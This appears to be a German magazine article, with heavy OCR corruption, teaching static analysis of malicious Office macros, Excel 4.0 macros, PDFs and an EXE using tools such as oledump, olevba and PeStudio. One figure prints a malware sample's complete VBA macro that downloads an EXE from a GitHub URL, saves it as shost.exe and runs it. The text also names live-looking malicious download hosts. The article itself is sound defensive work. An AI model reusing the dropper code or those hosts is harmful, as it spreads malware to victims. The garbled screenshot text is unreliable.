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Statische Malware-Analyse

Um versteckte Malware zu erkennen und erste Hypothesen
zu ihrer Verhaltensweise aufzustellen, prift man die
statischen Eigenschaften einer verdachtigen Datei. Die dafir
eingesetzten Tools helfen oft schon bei der Einschatzung.

Von Nadia Meichtry

El Die Arbeit eines digitalen Forensi-
kers oder auch Reverse Engineers glie-
dert sich in mehrere Phasen der Mal-
ware-Analyse. Wihrend man sich mit
einer OSINT-Analyse (Open Source In-
telligence) einen Uberblick dariiber ver-
schafft, womit man es tiberhaupt zu tun
hat [1], wird im zweiten Schritt eine voll-
automatische Analyse mit entsprechen-
der Software [2] durchgefiihrt. Sind die-
se Schritte abgeschlossen, folgt iiblicher-
weise eine Untersuchung der statischen
Eigenschaften der Schadsoftware, die
sich zum Beispiel in Office-Makros und
PDF-Dokumenten verbergen kann.
Ohne die Datei auszufiihren oder zu
6ffnen, wird bei diesem Schritt versucht,

die Eigenschaften der Datei mithilfe ver-
schiedener Tools zu extrahieren (alle
Tools, Beispieldateien und weiterfiihren-
de Informationen sind unter ix.de/zbad
zu finden). Dazu zihlen unter anderem
der kryptografische Hash, die enthalte-
nen Zeichenketten und Ressourcen, die
Zertifikate sowie die importierten und
exportierten Funktionen. Ebenfalls wird
tiberpriift, ob die Datei verpackt wurde.
Ziel ist, einzuschitzen, ob es sich iiber-
haupt um eine schidliche Datei handelt,
und Hypothesen iiber ihre Fihigkeiten
zu formulieren. So lésst sich ein Aktions-
plan entwickeln, um die Datei in spite-
ren Phasen genauer unter die Lupe zu
nehmen und weitere Untersuchungen

ZS-TRACT

» Angreifer verwenden haufig E-Mails mit bésartigen Anhangen wie Office- oder
PDF-Dokumenten, um sich initialen Zugang zu einem Unternehmen zu verschaffen.

» Da boésartige Anhange im Endeffekt meistens EXE-Dateien auf dem System des
Opfers platzieren und ausfiihren, gibt die Analyse ihrer statischen Eigenschaften
Einblick in ihre Arbeitsweise. So lasst sich beispielsweise nachvollziehen, welche
Datei ein MS-Office-Makro von wo herunterladt.

» YARA-Scans ermdglichen die Identifizierung der Malware oder ihrer Familie.
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wie Verhaltens- oder Codeanalysen zu
begriinden, um die Hypothesen zu be-
weisen - oder zu widerlegen. So eine
Analyse geht in der Regel schnell von-
statten und bietet daher eine einfache
Moglichkeit, sich mit der zu analysieren-
den Datei vertraut zu machen. Sie ist
ebenfalls notwendig, wenn die Datei sen-
sible Daten enthilt, die nicht zur Unter-
suchung bei einem Onlinedienst landen
sollen.

E-Mails als beliebtes Einfallstor

Angreifer verwenden hiufig E-Mails, um
sich initialen Zugang zu einem Unter-
nehmen zu verschaffen. Dazu versehen
sie die E-Mails mit bésartigen Anhingen
oder Links, um schliefflich Schadsoft-
ware auf dem System des Opfers zu plat-
zieren. Die Empfianger werden meist mit
Druck dazu verleitet, solche bosartigen
Anhinge zu 6ffnen oder auf Links zu Kkli-
cken, wodurch die Schadsoftware aus
dem Internet nachgeladen und ausge-
fithrt wird.

Beispielsweise setzen die Angreifer oft
Spam-Kampagnen in Form von Rech-
nungen, Mahnungen und Einladungen
ein, denen in der Regel Microsoft- Office-
Dokumente mit Makros, PDF-Dokumen-
te als Anhang oder Links beiliegen. Da
die meisten E-Mail-Dienste unmittelbar
ausfithrbare Anhéinge wie EXE-Dateien
blockieren, benutzen die Angreifer oft
Containerdateien wie .iso, .rar oder .zip,
um die Sicherheitsgateways des betref-
fenden E-Mail-Dienstes umgehen. Eine
statische Analyse der E-Mail-Anhénge ist
daher niitzlich, um schnell zu ermitteln,
ob sie Links, Skripte wie PowerShell und
JavaScript oder Makros enthalten, die
potenziell Schadcode ausfithren oder
Schadsoftware nachladen.

Hiufig nutzen Angriffe Makros in Mi-
crosoft-Office-Dokumenten, um Code zu
verstecken. Auf aktuellen Systemen star-
ten Makros daher standardméfiig nur
nach Erlaubnis des Nutzers. Seit Juli
2022 sind Makros von Inhalten aus dem
Internet in den aktuellen Office-Versio-
nen standardmifig blockiert: Beim Off-
nen eines Dokuments, das Makros ent-
hélt, erscheint eine gelbe Statusleiste mit
einer Sicherheitswarnung. Nutzer miis-
sen entscheiden, ob sie die Ausfithrung
des Makros erlauben oder blockieren
mochten. Deswegen setzen Angreifer
alles daran, das Opfer von der Harmlo-
sigkeit des Anhangs zu {iberzeugen, da-
mit es die Warnung ignoriert, beispiels-
weise mit einer gut gemachten Filschung
oder implizierter Dringlichkeit. Proble-
matisch ist dabei, dass viele Nutzer die
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C:\Users\SANSDFIR\Desktop>oleid Document.docm

XLMMacroDeobfuscator: defusedxml is not installed (required to securely parse XLSM files)
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid @.60.1 - http://decalage.info/oletools

THIS IS WORK IN PROGRESS - Check updates regularly!

Please report any issue at https://github.com/decalage2/oletocls/issues

Filename: Document.docm
WARNING For now, VBA stomping cannot be detected for files in memory

Bedeutung dieser Warnung nicht ein- Oleid.py zeigt,dass -+ R PR SO
. v . . . Indicator |Value |Risk |Description
schitzen konnen. die Beispieldatei ~ ---—--------------- e e
File format |Ms word 2067+ Macro- |1mfo |
Document.docm IEn:ble;I Document | !
= locm
Der OLE-Werkzeugkasten VBA-Makros enthalt . ..o T T T
(Abb 1) Container format |0penXML |info |container type
. Homm e o
. . . E ypted Fal The file i it ted
Es gibt zwei Arten von Microsoft- Office- A 'ff? ,,,,,,,,,,,,,,, frone | [The File fe not encrypted.

|This file contains VBA
|macros. Suspicious

| keywords were found. Use
|olevba and mraptor for
|more info.

Dateien: OLE2 (Object Linking and Em-  teren Fall konnen
bedding) und OOXML (Office Open XML).  erginzende Details
OLE2, auch Structured Storage (SS) und  mit oleobj.py einge-

Compound File Binary Format (CFBF)  holt werden. Bei der ot Thpires nor contain
genannt, unterstiitzt Makros unabhéngig =~ DOCM-Beispielda- 1 )7 777777 T excornal relationchips
von den Dateiendungen. Es ahmt die F4-  tei zeigt oleid.pyan,  "e'etiem=hie= iRt
higkeiten eines Dateisystems nach,indem  dass es sich um das

es Speicherkonzepte und Streams ver- OOXML-Format

wendet. OOXML verpackt hingegen meh-  handelt und dass die Datei VBA-Makros  meter -d in Kombination mit -s, um die

rere Dateien, die den Inhalt des Doku- enthilt (siehe Abbildung 1). Indexnummer anzugeben (siehe Abbil-
ments enthalten. Es ignoriert Makros, es Zipdump.py von Didier Stevens unter-  dung 3). So lésst sich der Code des Makros

sei denn, der Dateiname endet mit dem  sucht den Inhalt von ZIP-Dateien und lesen. Obwohl im Output nur wenig zu
Buchstaben ,,m“, wie bei DOCM-Dateien. =~ XML-basierten Office-Dokumenten, ohne  erkennen ist, konnen einige Elemente
Der Makrocode ist in eine Bindrdatei na-  deren Inhalt zu extrahieren. So erkennt  bereits von Interesse sein, wie github.
mens vbaProject.bin eingebettet, die = das Tool VBA-Makros in Document.docm,  com/TCWUS/Pastebin-Uploader.exe oder
selbst in der ZIP-Datei enthalten ist. In  da unter der Indexnummer 5 die Datei  Document_Open (markiert durch die grii-
Microsoft-Office-Dateien sind Makros vbaProject.bin zu finden ist (siche Ab-  nen Boxen in Abbildung 3).

in Visual Basic for Applications (VBA)  bildung 2). Die anderen Dateien enthalten Die Eintrige lassen darauf schliefien,
geschrieben - die kompilierte Version = Informationen zur Darstellung des Doku-  dass das Makro eine GitHub-Webseite
wird in Streams mit dem Prefix SRP ge-  ments. Um den Inhalt von vbaProject.bin  kontaktiert, um eine EXE-Datei herun-
speichert, die in vbaProject.bin enthal-  einzusehen, verwendet man den Para-  terzuladen, und dass es beim Offnen

ten sind.
Zur statischen Analyse eines Office- \Users\SANSDFIR\Desktop\DidierStevensSuite>zipdump.py C:\Users\SANSDFIR\Desktop\Document.docm
o : K : wdex Filename Encrypted Timestamp

Makros kénnen die Python-Tools oleid.py, 1 [Content_Types].xml 1080-01-01 60:00:00

olevba,py’ oledump,py — Teile der von 2 _rels/.rels 1986-01-81 ©0:00:00

Phili L d ickel LE 3 word/_rels/document.xml.rels 1088-01-81 ©0:00:00

ilippe Lagadec entwickelten OLE- 4 word/document . xml 1980-01-91 ©0:00:00

Tools - und zipdump.py benutzt werden. 5 word/vbaProject.bin 1086-01-61 ©0:00:00

. . R L. 6 word/media/imagel.jpeg 1086-01-61 ©0:00:00

Damit lassen sich die in der Datei ein- 7 word/_rels/vbaProject.bin.rels 1980-01-81 ©60:00:00

_ 8 word/theme/themel.xml 1980-01-81 ©0:80:00

gebetteten Makros untersuchen und ex 9 word/vbaData.xml 1980-01-61 60:00:00

1086-01-01 0@:0e:00
108@-91-01 ©O:00:00

trahieren. Als Fallbeispiel dient die Datei 10 word/settings.xml
11 docProps/app.xml

ORI D

Document.docm, die von MalwareBazaar 12 word/styles.xml 1980-01-81 00:00:00
heruntergeladenwurde. 13 docProps/core.xml 1080-01-01 80:00:08
. . 14 word/fontTable.xml 1986-81-61 66:06:06

Mit oleid.py kann man herausfinden, 15 word/webSettings.xml 1986-91-01 ©0:00:00

ob die Datei VBA-, Excel-4.0-Makros oder
externe Verbindungen enthilt. Im letz-  Zipdump analysiert verpackte Dateien, ohne sie zu extrahieren (Abb. 2).

2 \Users) SANSDF IR\DesktaphDidier vensSui zipdump.py C: \User:\SAH:DF[R‘Ee-kta:\DDunEn' docm -5 & -d
EeEeEs bR - o o B H § Ooog e e e e e e e e e e e e e e e e e e S e e e e e e e e e e e e e e e e e e

i
BEPEEARER ] vea B COEIEORER EEEPERER @3
_VBA_PROJECT L
+ ioB® 1 2 3 4 5 9 < - » * @ A B ©C D E F G H
B b S S S S S S S S R S 2
CEOETEE O50Ex o ME  EEEEEE -] oEEs
i B 5" [ SEEEE B O<EEmE  EmEE E(1Normal . ThisDocumen
i 3 E R B OX O EEEERE [Eraa=tr gl ERRE
Es ki ea ki sk [ srlasan s oo v ol o I ik Ea ] X o
[ mE s E m ® =B ®Eo® om mEEE o ®
B O B B B 0
(8 @ 88 O PI B 2 I -] il o 0 o 8 EXCOEETOes  0o8 J]m JmE ]“'SEI E OO0 Mlcrosoft XMLHTTP § 608 . @0 E O O ADODB.Streandy 608 . 28 B8
wscript_shell § oem . 4 ® [ httos://github.con/ TCWUS/Pastobin-Uploader.axe’ B = shast.exa * :® B shost.exe ' e B O GET EEE  BEESEEE  GEEEE =@ am 1= IEEgEE Bml @8 ZEEGEDE i
20BgaED <0 4EBGDEN O CEE  COOEX Dol B2 ATCPIDUT € VO_Nam € - "Thi sDocumenEt”
BExoseEETenp lateDariEvefCustonlizECElp B @ ®sub =M Op on()EIdd ETru
piim hitpH_obj®EstEetane]l 18
Set:i cB{e Object(" Microsof t.MMLHTT<P" 188 )EEANE00E . SEYEERAEAEWS criptl . SEERE
L I! Bos:// githul m/TCHUS fPasteni n-Uploadger.exe BilaNshosEtBERUNCHDSERIE
MI.EN E"GET", 0, asendCEVG-.TypAH1E
me
i EEEErespon@sesodym sfavetof @ 1E1, zusu un =2
EnEdiE Eal @ R B EEE m‘\G-’BOU?OdE:-BQEIO-DOUB-CBQU-GDBQBOUDOU&&} 240#C: e sYMicrosoft
Snsred\vat\_v5n7.1\V357.nLL3V:sual sic eor Applications o - {38ﬂ2898‘--88$8 EBBE-<EB$ ﬁﬁﬁﬁéﬁﬁéﬁﬂds}ts.?*att:\D“Og
ram Files\Microsoft fo'.'cﬂ‘\OFfi:Elo\MstRD.:L!wnicrusoF: Word 1:\. bject Library *\G{PE@PIeA430-900R8 - -PRER-CRBE-88
Bo@EPOBOAE }F2.BFOFC: \WiIndows \System3I2\stdole2 . tT1lD#FOLE Automatien E‘\(.Nornall:"\cncrmalﬁ" (E*\G{2DF8D@4C-CBFA-1818-
BDES-B@AABBAADES2 }#F2 . B4@8fC: " Program FilesiCommaon FileswMicrozsoft Shared\ \OFFICELG MSO . DLLEMicrosoft OFffice 16.8 Object 1L
ibrary EOE BN EEE OED BN EEN EEE CUEEESNN 0 @E Ermh
[£ U b Uk B UK G Uk b Ok b Ok b 6 Ok & oK 6 Ok 6 G DOk & ISk & O BEEThisDocumentB@6621el 2cdBEIThIsDocumen tBEHE O -t & <k o O E O E O R B IR B E DR E O R B O k)

i T i i i i i i i il i T i i i i i i i i il i i T T T T o T T T e T T T i i i)
'HIILL..HIIIILL..HIILL.. e e e e e G e G o e e i i e e R i R
PECIBAT  EEE © DB EEx- [ EEG E8E writedBWords1¢ EIVBAED CEWin16350 EOWinI2BEG COWLnG4FEe COMacCDS EIVBAGONe DEVOATEROEProjectl

B9 htip_obilOE ment<®e  ® M _EvaluateE®8 F NormalSEe B SHN OFficeFuEDocumentiEe

shell_objkVe 8 CreateQbjectiE® B Bod URLBDOE GO0 FileNamejD0 B8 BB AUNCMDETO 80 EBE senddld BE EER responseBodyTES

Run_DB EEEEST  EESSTCCSSTCSSTTESSTEESHIESHT Y CECDOICENT  COSOIC(5S NESH CECE EEBS EE B B o5E AT CESHI E O @EY  pEEHE OE oEN

h X~ E \6{808290438 -MEC P
EATEAAARLE 2 ARBEC . Udindous | SustanIFIAEe2. T1h 4 1 o PR M BROIFECTum

Der extrahierte Inhalt von vbaProject.bin lasst auf das Nachladen von Schadsoftware via GitHub schlieBen (Abb. 3).
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automatisch ausgefiihrt wird. Um den
Quelltext besser lesen zu kdénnen und
somit mehr Informationen zu erhalten,
kann man anschlieflend andere Werk-
zeuge wie olevba.py oder oledump.py
verwenden. Ersteres hebt beispielswei-
se riskante Stellen des VBA-Codes im
Dokument zusétzlich hervor und er-
klart, woran man sie erkennt (siehe Ab-
bildung 4).

olevba.py liefert also Einsicht in den
konkreten Aufbau der Schadsoftware:
Der Makrocode beginnt mit der Funktion
Document Open(), die das Makro beim
Offnen des Dokuments ausfiihrt. Uber die
Funktionen http obj.Open und http
obj.send wird anschliefend eine HTTP-
GET-Anfrage gesendet, um eine GitHub-
URL aufzurufen. Die Funktionen stream.
obj write und stream obj.savetofile
schreiben und speichern die erhaltene
Antwort in eine Datei. So wird die Da-
tei Pastebin-Uploader.exe herunterge-
laden und als shost.exe gespeichert. Der
Name #hnelt der legitimen Windows-
Datei sihost.exe (Shell Infrastructure
Host) - eine Methode, die Angriffe hiufig
in ihrer Malware einsetzen, damit sie lan-
ger unentdeckt bleibt. Anschliefiend wird
die Datei shost.exe iiber die Funktion
shell obj.Run ausgefiihrt. Was sie da-
nach tut, erfordert zwar eine dynamische
Analyse, fiir die das Dokument die Datei
herunterladen miisste. Um einen Uber-
blick iiber die Eigenschaften des verdéch-
tigen Dokuments zu erhalten, reicht eine
statische Analyse allerdings aus.

Eine Alternative zu olevba.py ist ole-
dump.py, das den Inhalt der Datei auflis-
tet und Streams, die Makros enthalten,
mit dem Buchstaben ,,M“ markiert. So er-
kennt man beispielsweise, dass der Inhalt
des Makros in Document.docm im Stream
A3 enthalten ist (siehe Abbildung 5). Mit

AutoExec

e file or a

file or a

file or a

olevba.py hebt verdichtige Stellen im VBA-Code hervor und erklart, warum sie verdach-
tig erscheinen (Abb. 4).

C:\Users\SANSDFIR\Desktop\DidierStevensSuite>oledump.py C:\Users\SANSDFIR\Desktop\Document.docm
A: word/vbaProject.bin

Al: 375 'PROJECT’

AZ: 41 'PROJECTwm’

A3: M 2291 'VBA/ThisDocument’
A4 2574 'VBA/_VBA_PROJECT'
AS: 512 'VBA/dir’

C:\Users\SANSDFIR\Desktop\DidierStevensSuiteroledump.py C:\Users\SANSDFIR\Desktop\Document.docm -5 A3 -v
Attribute VB_Name = "ThisDocument™

Attribute VB_Base = "1Normal.ThisDocument™

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Private Sub Document_Open()

Dim http_obj
Dim stream_obj
Dim shell_obj

Set http_obj = CreateObject("Microsoft.XMLHTTP™)
Set stream obj = CreateObject("ADODB.Stream™)
Set shell_obj = CreateObject("WScript.sShell™)

URL = "https://github.com/TCWUS/Pastebin-Uploader.exe”
FileName = "shost.exe”
RUNCMD = "shost.exe"

http_obj.0Open "GET", URL, False
http_obj.send

stream_obj.Type = 1

stream_obj.0pen

stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2

shell_obj.Run RUNCMD
End Sub

oledump markiert Streams, die ein Makro enthalten, extrahiert sie und listet
ihren Inhalt auf (Abb. 5).

oledump erkennt im XLM-Makro der Beispieldatei bereits eine verdachtige Funktion und einen verdachtigen Pfad in den Formeln
(Abb. 6).
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Eine Emulation mit XLMMacroDeobfuscator erlaubt Einblicke in die Fahigkeiten eines Excel-4.0-Makros (Abb. 7).

dem Parameter - s extrahiert das Tool auf-
fillige Streams und mit dem Parameter -v
zeigt es ihren Inhalt an.

Die Ergebnisse der Analyse deuten da-
rauf hin, dass Document.docm sehr wahr-
scheinlich schédlich ist, denn es wird zu-
mindest eine EXE-Datei herunterladen,
umbenennen und ausfiihren. Ein Hash-
abgleich auf VirusTotal ergibt auerdem,
dass mehrere Securityprodukte Docu-
ment.docm als bdsartig einstufen.

XLM-Makros in Excel 4.0

Zusatzlich zu den VBA-Makros gibt es
Excel-4.0-Makros, die auch als XLM-
Makros bezeichnet werden - nicht zu
verwechseln mit der Auszeichnungs-
sprache XML. Sie basieren auf einer ver-
alteten Makrosprache, die Microsoft Ex-
cel vor der Einfithrung von VBA verwen-
det hat, und werden missbraucht, um
Win32-APIs aufzurufen und Shell-Be-
fehle auszufiihren. Seit Ende 2021 sind
sie standardméRig deaktiviert. XLM-Ma-
kros bestehen aus Formeln, die als Be-
fehle fungieren, und Werten. Beides ist
in einem Blatt gespeichert. Jedes Blatt
kann visible (sichtbar), hidden (ver-
steckt) oder very hidden (sehr ver-
steckt) sein, wobei Malware-Autoren
Excel-4.0-Makroblitter oft auf versteckt
oder sehr versteckt setzen. In XLS-Da-
teien werden die Daten im Workbook-
Stream als BIFF-Datensétze (Binary In-
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terchange File Format) gespeichert. Im
entsprechenden BOUNDSHEET-Daten-
satz ist dann die Sichtbarkeit des Blattes
definiert. Excel-4.0-Makros lassen sich
mit VBA-Makros kombinieren und in
Dateien im Office-Open-XML-Format
speichern - zipdump.py zeigt sie dann
durch x1/macrosheets/ an.

Um Excel-4.0-Makros zu analysieren,
verwendet man entweder den Befehl

oledump.py -p plugin biff «
--pluginoptions -x

wodurch alle BIFF-Datensitze ausge-
wahlt werden, die fiir die Analyse von

remnux@remnux:~/Desktop$ pdfid PDF.pdf
PDFiD ©.2.1 PDF.pdf

PDF Header: %PDF-1.6

obj 30

endobj 30

stream 7

endstream
xref

trailer
startxref
/Page
/J/Encrypt
/0bjStm

/358
/JavaScript
/AA
/0openAction
/AcroForm
/JBIG2Decode
/RichMedia
/Launch
/EmbeddedFile
/XFA

/Colors > 2724

[oNoN- oo NoNo N oo o No Nl |

Ein erster Verdachtsmoment: Pdfid.py gibt
an, dass die Beispieldatei PDF.pdf beim
Offnen eine Aktion ausfiihrt (Abb. 8).

Excel-4.0-Makros relevant sind, oder das
Tool XLMMacroDeobfuscator4. Letzte-
res erlaubt, Makros zu emulieren, und
ermoglicht auf die Weise eine Interpre-
tation, ohne den Code auszufiihren. Die
Datei excel.xls dient als Beispiel, um bei-
de Tools vorzustellen. Auch sie stammt
von MalwareBazaar.

oledump zeigt, dass das Blatt mit dem
Makro versteckt ist. Auferdem lasst sich
die Funktion Auto_Open erkennen sowie
der Pfad C:\\Programdata\Golas in den
Formeln (durch die roten Késten in Ab-
bildung 6 markiert). Die Funktion auto
Open wirkt dhnlich wie die Funktion
Document Open, das Makro wird also
beim Offnen der Excel-Datei ausgefiihrt.
Dader Ordner Programdata keine erh6h-

remnux@remnux:~/Desktop$ pdf-parser PDF.pdf -s URI

obj 12 @
Type: /Annot
Referencing:

<<
/Type /Annot
/Subtype /Link
/Border [0 0 0]
/Rect [-0.007 45.014 611.95 729.014]
/A
<<
/Type /Action
/S JURI
/URI (https:
/ /tinyurl.com
/59d72kj3 )
>>
>>

Pdf-Parser untersucht Objekte genauer:
Hier findet das Tool eine verdichtige
TinyURL (Abb. 9).
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remnux@remnux:~/Desktop$ pestr Form.exe --net
http://nsis.sf.net/NSIS Error

jre.mA

s?1.gi

K.tR

k.Ke

pestr bringt mit dem entsprechenden
Parameter Hostnamen und IPs zum
Vorschein (Abb. 10).

FLOSS decoded 79 strings
n;"
Qkkbal
ilwb
9a&g
MGiI
wn>Jj
#.zf
+0*7
AEAA
AEAA
AEAA

In Malware werden oft verschleierte
Strings eingefiigt, um den Analysten
zu verwirren. Das Tool FLOSS kann
solche Zeichenketten extrahieren
(Abb. 11).

ten Berechtigungen erfordert, um darin
schreiben zu kénnen, eignet er sich fiir
Angreifer gut, um ihn als Ablageort fiir
Dateien zu benutzen.

Die Emulation mit XLMMacroDe-
obfuscator zeigt ebenfalls, dass sich das
Makro dank auto_open beim Offnen des
Dokuments in Gang setzt. Die Funktion
URLDownloadToFile l4dt die Datei tau.gif
als C:\\Programdata\Golas.exe von der
Seite padgettconsultants.ca herunter, die
Funktion FileProtocolHandler fiithrt sie
anschlieffend aus (siehe Abbildung 7).
Auch hier ist es ohne eine dynamische
Analyse nicht moglich, das Verhalten der

ausgefiihrten Datei Golas.exe zu ermit-
teln. Dass es sich wahrscheinlich um eine
bosartige Excel-Datei handelt, zeigt der
Hashabgleich mit VirusTotal.

PDF-Analyse

Da PDF-Dateien sowohl in der Arbeits-
welt als auch von Privatpersonen téglich
verwendet werden, sind sie fiir Cyber-
kriminelle ein beliebtes Vehikel fiir Phi-
shing oder andere Angriffe. Auch sie er-
lauben es, Skripte auszufiihren, die zu-
satzliche Schadsoftware nachladen. Wie
bei Makros in Office-Dokumenten wer-
den in PDFs eingebettete Programme al-
lerdings ebenfalls erst nach Erlaubnis
des Nutzers gestartet — Angreifer versu-
chen daher, das Dokument glaubwiirdig
oder dringlich wirken zu lassen.
PDF-Dateien enthalten sowohl Objek-
te, die angeben, wie das Dokument darge-
stellt werden soll, und die mit obj und
endobj definiert sind, als auch Streams,
die Daten speichern und mit st ream und
endstream definiert sind. In den Ob-
jekten gibt es einige Felder, die bereits
Schadsoftware vermuten lassen, wie /AA
und /OpenAction, die das automatisch
auszufithrende Skript oder die Aktion an-
geben, /JavaScript, /1S, /AcroForm und
/XFA zum Ausfiithren von JavaScript. Zur
statischen Analyse eines PDF-Doku-
ments dienen die Werkzeuge pdfid.py,
pdf-parser.py - beide von Didier Stevens
entwickelt - und peepdf.py. Als Anschau-
ungsbeispiel dient die von MalwareBa-
zaar heruntergeladene Datei PDF.pdf.
pdfid.py liefert einen Uberblick iiber
riskante Merkmale der PDF-Datei und
hilft dabei, ihre Eigenschaften einzu-
schitzen. Es sucht nach bestimmten
PDF-Schliisselwortern zur Erstauswer-

tung. Bei der Beispieldatei zeigt pdfid.py
an, dass die Datei eine Seite lang ist und
beim Offnen etwas ausfithren wird (siehe
Abbildung 8).

Das Werkzeug pdf-parser.py dient an-
schlieflend dazu, bestimmte Objekte ge-
nauer zu untersuchen. Es parst die ver-
schiedenen Elemente der PDF-Datei und
zeigt ihren Inhalt an. Mit dem Parameter
-s sucht es nach Schliisselwortern. Bei-
spielsweise kann es priifen, ob die Datei
URLSs enthilt (siehe Abbildung 9). Im Bei-
spiel wird eine TinyURL aufgerufen. Wo-
rauf dieser verkiirzte Link verweist, lasst
sich nicht durch statische Analyse ermit-
teln, aber Urlscan.io zeigt an, dass der
Link auf die ZIP-Datei DOC_20221012_
094045716.zip verweist — was natiirlich
verdichtig anmutet.

Als Alternative zu pdfid.py und pdf-
parser.py kann man peepdf.py verwenden.
Es bietet eine interaktive Shell, mit der
man durch die Struktur der PDF-Datei na-
vigieren und ihren Inhalt durchsuchen
kann. Das Tool warnt, wenn es verdachti-
ge Elemente findet — wie in der Beispiel-
datei, in der /OpenAction auffillig ist.
Enthaélt die Datei eingebetteten Code wie
Shellcode, PowerShell oder JavaScript,
sollte man diesen im Folgenden extrahie-
ren und gegebenenfalls entschleiern. In
der Beispieldatei ist das allerdings nicht
der Fall. Ein Hashabgleich auf VirusTotal
zeigt wie die Analyse mit den PDF-Tools,
dass es sich wahrscheinlich um ein bosar-
tiges Dokument handelt.

Was steckt in der EXE?

Bei allen Dokumente hat die Analyse er-
geben, dass sie eine EXE-Datei herun-
terladen und starten werden. Um deren
Arbeitsweise zu bestimmen, braucht es

E pestudio 8,99 - Malware Initial Assessment - www.winitor.com [c\users\remdesktop\form.exe] - m} x
file help
?
= C\'—'fS\'E"‘\‘jESHUF'\fU'm-E"E wml-id indicator (33) detail level
1430 The file references string(s) tagged as blacklist count: 43 1
dos-header (64 b 1434 The file references a URL pattern url: http://nsis.sf.net/NSIS_Error 1
é dus- :ab :;2 b y‘te)s] 1266 The file imperts symbol(s) tagged as blacklist count: 36 1
Os-51ul x5
\ file-header (Dec)r;mS) 1525 The file contains another file type: Nullsoft, location: overlay, offset: (x00011A08 1
= | L . 1003 The file-ratio of the overlay is suspicious ratio: 77.28 % 2
-~ optional-header (file-checksum)
.2 directories (3) 1124 The file references MITRE Technique(s) count: 3 2
b sections (virtualized) 1262 The file impoerts anonymous function(s) count: 1 2
b libraries (7) 1153 The file contains a virtualized section section: .ndata 2
-] imports (36/153) 1036 The file checksurn is invalid checksum: 0x00000000 2
Y 124 The manifest identity has been detected name: Mullsoft.M5IS.exehead 3
— 1215 The file-ratio of the section(s) has been determined ratio: 22.40% 3
il TESOUTCES efile references string(s) tagged as hint e wtili
(1) 1633 The file ref ing(s) tagged as hi type: utility 3
-~-abe strings (43/3311) 1633 The file references string(s) tagged as hint type: registry 3
D 1633 The file references string(s) tagged as hint type: url-pattern 3
:EI manifest (aslnvoker) 1633 The file references string(s) tagged as hint type: privilege 3
1633 The file references string(s) tagged as hint type: file 3
- . 1634 The file references a function group type: file 3
- overlay (file-ratio) 1634 The file references a function group type: storage 3
1834 Tl file cefrrmmrnr « fiincbinn nenin PP S ie E)
sha236: 10971 C5CCA484F63ABCTEBFDTEAT3CISDCBASFFB2FI0948369D C520FECDETIEC cpu: 32-bit  file-type: executable subsystern: GUI entry-point: 0x000030F1 signature: n/a
PeStudio liefert einen ersten Einblick in die Fahigkeiten der EXE-Datei, die eine Malware 6ffnen méchte (Abb. 12).
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[ pestudio 2.99 - Malware Initial Assessment - www.winitor.com [c\users\rem!\ desktop\form exe]

file help

7
= clusers\remidesktopiform.exe type (2) size (bytes) offset
;’u indicatars (4/33) ascii @0 0x0000004D
i 36 0x000064D8
> dos-headler (64 bytes) = P ORODO0AL
ascii
B dos-stub (152 bytes) ) P CRODDOTAES
» file-hesder (Dec.2015) aset .
> optional-header (file-checksum) | <" 1 MDDD‘:ZC
= directories (3) ascl 4 000007540
> sections (virtualized) ascil 4 0x000075E4
- libraries (7) ascii 12 0x00011408
&7 imports (36/153) ascii 13 0x00006D89
=) ascii 12 0x0D00BDBS
~0 ascii 19 0x0D00DF4
ascii 18 0x00007681
ascii 2 0x000076C5
ascii 10 Ox0DD0BAQF
ascii 19 Ox0DDOBAE1
ascii 2 0x00007738
5 _ ascii 20 0x00007751
(7 overlay (file-ratio) sl 16 Ox00007768
ascii 25 0x00006978
ascii 10 0x0000721D
ascii 13 0x0000723F
ascii 14 0x00007271
ascii 12 0x00007283
ascii 10 Ox0D00BEFY
ascii 13 0x00006907
ascii 12 0x00006919
ascii 9 0x00006928
> <

<

sha256: 1C971C5CCA4B4F63ABCTEBFDTEAT3CI9DCBABFFB2FI0948369DC520FECDETIEC

cpu: 32-bit

blacklist (43) hint (&) group (14)

® M |% (%% (%%

system-information
system-information
storage

storage

security

security

security

registry

registry

registry

registry

registry

file

file

file

file

XX oK OX X X X X X X X X X X X X X X X

file-type: executable subsystem: GUI

MITRE-Technique (5)

value (3311)

[This program cannot be run in DOS mode.

ph

Control Panel\Des| sourcel ocale

SoftwareMicrosoft\Windows\ CurrentVersion
hittp://nsis.sf.net/NSIS Error
SeShutdownPrivilege

tmp

.exe

Mullsoftinst

SetWindowLong

FindWindowEx

SetForegroundWindow
GetFileVersionlnfo

GetFileVersionlnfoSize
SearchPath
SetCurrentDirectary
AdjustTokenPrivileges
LookupPrivilegeValue
OpenProcessToken
WritePrivateProfileString
RegEnumKey
RegSetValuekx
RegDeleteValue
RegDeleteKey
DeleteFile
FindFirstFile
FindMextFile
FindClose

im2
a2
a2
a2

entry-point: 0x000030F1 signature: n/a

Eine Analyse der Zeichenketten ergibt, ob sie sich auf Blocklisten befinden und welchen MITRE-Techniken sie entsprechen (Abb. 13).

eine Untersuchung der statischen Eigen-
schaften. Diese besteht daraus, Zeichen-
ketten zu extrahieren, die PE-Informati-
onen (Portable Executable) mit PeStudio
auszulesen und feststellen, ob die Datei
verpackt ist. Illustriert wird das Vorge-
hen an der schon im letzten Artikel die-
ser Serie genutzten Datei Form.exe (sie-
he iX 3/2023, Seite 122).

Einer der ersten Schritte bei der Ana-
lyse einer verdichtigen Datei ist die Un-
tersuchung der eingebetteten Strings. Sie
kénnen spiter dazu dienen, IoCs (Indi-
cators of Compromise) zu definieren, die
insbesondere beim Identifizieren infi-
zierter Systeme helfen. Dazu dienen
Tools wie strings oder pestr, das Teil des
pev-Toolkits ist. pestr findet sowohl
ASCII- als auch Unicode-Strings, wobei
strings nur dann Unicode-Zeichenketten
findet, wenn - -encoding=1im Befehl an-
gegeben ist. Die Tools enthiillen Dateina-
men, Hostnamen und Registry-Schliissel,
auf die das Programm zuzugreifen ver-
sucht. Es kann auch URL-Muster und
Benutzeragenten preisgeben sowie Be-
fehle, die die Schadsoftware ausfiihrt.
pestr verfiigt sogar tiber einen Parame-
ter - -net, um netzwerkbezogene Daten
wie Hostnamen und IPs zu extrahieren.
Erprobt an Form.exe, bringt er die URL
http://nsis.sf.net/NSIS_Error zum Vor-
schein (siehe Abbildung 10). Sie verweist
